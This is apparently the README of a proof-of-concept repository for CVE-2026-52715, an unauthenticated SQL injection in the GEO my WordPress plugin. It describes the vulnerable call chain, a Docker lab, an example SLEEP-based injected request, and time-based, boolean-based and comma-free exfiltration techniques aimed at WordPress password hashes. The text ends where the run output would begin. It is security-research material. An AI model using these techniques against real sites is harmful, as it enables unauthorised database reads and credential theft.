Рабочий PoC для CVE-2026-52715 (GeoLeak): неаутентифицированная SQL-инъекция (SQLi) в GEO my WordPress <= 4.5.5 через swlatlng/nelatlng. Docker-лаборатория + time-based/boolean-based эксплойт + эксфильтрация без запятых в payload.
Образовательный Proof of Concept GeoLeak (CVE-2026-52715): неаутентифицированная SQL-инъекция (CVSS 9.3) в плагине GEO my WordPress <= 4.5.5 для WordPress. Параметры
swlatlngиnelatlngграниц карты интерполируются без санитизации в предложении WHERE. Автономная Docker-лаборатория + эксплойт с техниками time-based, boolean-based и посимвольной эксфильтрацией.
CVE-2026-52715 — SQL-инъекция (CWE-89) в функции gmw_get_locations_within_boundaries_sql() плагина GEO my WordPress, затрагивающая все версии <= 4.5.5 и исправленная начиная с версии 4.5.5.1 (15 июня 2026 года). Она была обнаружена исследователем alvarodh5 и опубликована через Patchstack.
Цепочка, названная GeoLeak, демонстрирует, как, имея только доступ на чтение к любой публичной странице, содержащей шорткод [gmw], атакующий может:
swlatlng (или nelatlng) строки запроса — без cookie, nonce и аутентификации.SLEEP() (time-based blind), вычисляемого для каждой строки INNER JOIN с wp_gmw_locations."total_results":N, который сам плагин встраивает в JSON-конфигурацию карты, для вывода булевых условий (boolean-based blind).explode(',', ...)), с помощью CASE WHEN и SUBSTRING(x FROM n FOR 1).Результат — произвольное чтение базы данных WordPress: таблица wp_users (хеши паролей), параметры конфигурации, ключи и данные сторонних плагинов.
В PoC проверяется полное извлечение VERSION() MariaDB только с помощью GET-запросов.
Этот репозиторий содержит строго образовательный и защитный материал.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl и awk для эксплойтаdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
Настраиваемые параметры эксплойта:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
Доступ к WordPress: http://localhost:3080 с admin/admin. Страница с уязвимой формой: http://localhost:3080/?page_id=5.
Примечание: стартовая запись в
wp_gmw_locationsобязательна. Запрос использует INNER JOIN с этой таблицей: без записей внедрённый WHERE не выполняется иSLEEP()не срабатывает.
Реальный вывод последнего запуска против лаборатории (14 августа 2026 года):